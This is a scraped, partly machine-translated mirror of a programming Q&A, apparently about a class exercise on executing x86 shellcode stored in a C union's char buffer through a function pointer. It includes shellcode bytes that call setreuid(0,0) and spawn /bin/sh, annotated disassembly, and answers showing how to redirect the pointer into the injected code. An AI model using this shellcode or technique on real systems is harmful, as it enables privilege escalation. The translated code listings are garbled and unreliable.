Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/62.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 使用Union中的函数指针执行shell代码_C_Union_Function Pointers_Code Injection - Fatal编程技术网

C 使用Union中的函数指针执行shell代码

C 使用Union中的函数指针执行shell代码,c,union,function-pointers,code-injection,C,Union,Function Pointers,Code Injection,我试图将shell代码注入char缓冲区,并使用函数指针执行它。字符串和函数指针都在并集中。下面是我试图执行的shell代码 \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 0

我试图将shell代码注入char缓冲区,并使用函数指针执行它。字符串和函数指针都在并集中。下面是我试图执行的shell代码

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
0:31 c0异或eax,eax
2:b0 46 mov al,0x46;setreuid(70)
4:31db异或ebx,ebx;户标识符
6:31 c9 xor ecx,ecx;有效用户标识符
8:CD80 int 0x80;setreuid(0,0)
a:eb 16 jmp 0x22;跳到最后呼叫
c:5b波普ebx;获取“/bin/sh”的地址
d:31 c0 xor eax,eax
f:88 43 07 mov字节PTR[ebx+0x7],al;零终止“/bin/sh”
12:89 5b 08 mov DWORD PTR[ebx+0x8],ebx;+“/bin/sh”的地址
15:89 43 0c mov DWORD PTR[ebx+0xc],eax;+空指针
18:B00B移动al,0x0b;行政长官(11)
1a:8d 4b 08 lea ecx,[ebx+0x8];加载argv(ptr到“/bin/sh”)
1d:8d 53 0c lea edx,[ebx+0xc];加载环境(空)
20:CD80 int 0x80;execve(“/bin/sh”,“/bin/sh”,NULL)
22:e8 e5 ff ff呼叫0x0c;堆栈上的推送地址
27:“/bin/sh”;然后向后跳
联合数组或函数指针
{
字符串[128];
作废(*收回)(作废);
};
void trialversion()
{
printf(“这是试用版。请购买完整版以启用所有功能!\n”);
}
int main(int argc,char*argv[])
{
文件*fp;
并集数组或函数指针对象;
fp=fopen(argv[1],“r”);
obj.callback=trialversion;
obj.callback();
fread(obj.string,128,1,fp);
obj.callback();
fclose(fp);
返回0;
}
shell代码没有被执行,我得到了如下所示的分段错误。我使用了
-z execstack

gcc-g-fno堆栈保护器-z execstack sample.c-o sample
harsha@hv-XPS:~/ass6$。/sample pass\u junk.txt
这是试用版。请购买完整版本以启用所有功能!
分段故障(堆芯转储)

问题似乎是程序正在检查shell代码中的地址。通常,指向函数变量的指针被实现为内存,其中包含要调用的函数的第一条指令的地址。您将指令直接放入
obj
,而不是地址

要使这种测试利用发挥作用,您需要将注入的指令放在内存的某个位置,还需要将包含这些指令的内存地址放在
obj.callback
中。但是这会很棘手,因为大多数操作系统都使用地址空间布局随机化来精确预测堆栈中对象的位置。

在外壳代码的开头添加
sizeof(void(*)()
伪字节(例如
\x90\x90\x90\x90
) 然后:

#包括
联合数组或函数指针
{
字符代码[/*大小*/];
作废(*收回)(作废);
};
void foo(void){put(“foo()”);}
int main(int argc,字符**argv)
{
并集数组或函数指针对象;
obj.callback=foo;
obj.callback();
文件*fp=fopen(argv[1],“rb”);
fread(对象代码,1,/*尺寸*/,fp);
fclose(fp);
obj.callback=&obj.callback+1;//代码位于*后面*
obj.callback();//指针值。
}

是的,我已单步检查代码分段错误,未找到0xc931db3146b0c031地址,该地址是十六进制数Ipassed@jenesaisquoi我在反汇编中添加了注释。你能试着在缓冲区中读取它(没有union)并直接调用它吗<代码>((无效(*)(无效))缓冲区)()?@Swardfish我正在尝试使用union来证明代码注入,我认为您必须获取union的地址才能调用它。当缓冲区包含函数时,如果通过
obj.callback()调用它它将缓冲区的前几个字节视为函数指针。因此,当您想要调用缓冲区时,请尝试
&(obj.callback)()
或类似的东西,所以你不能只获取缓冲区的地址并调用它吗?@ChrisRollins,可能有足够的强制转换。但是那段代码不能同时调用
trialversion
,所以你只是把代码插入到一个专门为执行任意代码而编写的程序中。我不知道你为什么这么说。如果设置了联合的回调,则可以使用
obj.callback()
调用它,当您要调用缓冲区时,可以使用
&(obj.callback)(
调用它。我在这里遗漏了什么?
&(obj.callback)(
的意思与
&(obj.callback())
的意思相同,您不能获取
无效的地址。也许你的意思是像
((void(*)(void))&obj)(
?但是我们并没有以一种非常有意义的方式使用并集的属性。但是是的,我的意思是我不确定询问者为什么要把它放在一个联合体中。我得到了这个错误,我试图解决,但没有用
警告:来自不兼容指针类型的赋值[-Wincompatible pointer types]obj.callback=&obj.callback+1对不起。删除运算符的地址。这将
obj.callback
设置为类似
0x909091
(使用gcc扩展添加到函数指针),并且仍然是跳转到错误地址。(另外,关于“未找到0xc931db3146b0c031地址”的注释表明OP具有
sizeof(void(*)(void))==8
)@swardfish。。下面的一行解决了这个问题<代码>obj.callback=(void(*)(void))&obj.callback+8。我注意到
#include <stdio.h>

union array_or_function_pointer
{
    char code[/* size */];
    void(*callback)(void);
};

void foo(void) { puts("foo()"); }

int main(int argc, char **argv)
{
    union array_or_function_pointer obj;
    obj.callback = foo;
    obj.callback();

    FILE *fp = fopen(argv[1], "rb");
    fread(obj.code, 1, /* size */, fp);
    fclose(fp);

    obj.callback = &obj.callback + 1;   // the code is located *behind*
    obj.callback();                    //  the pointer value.
}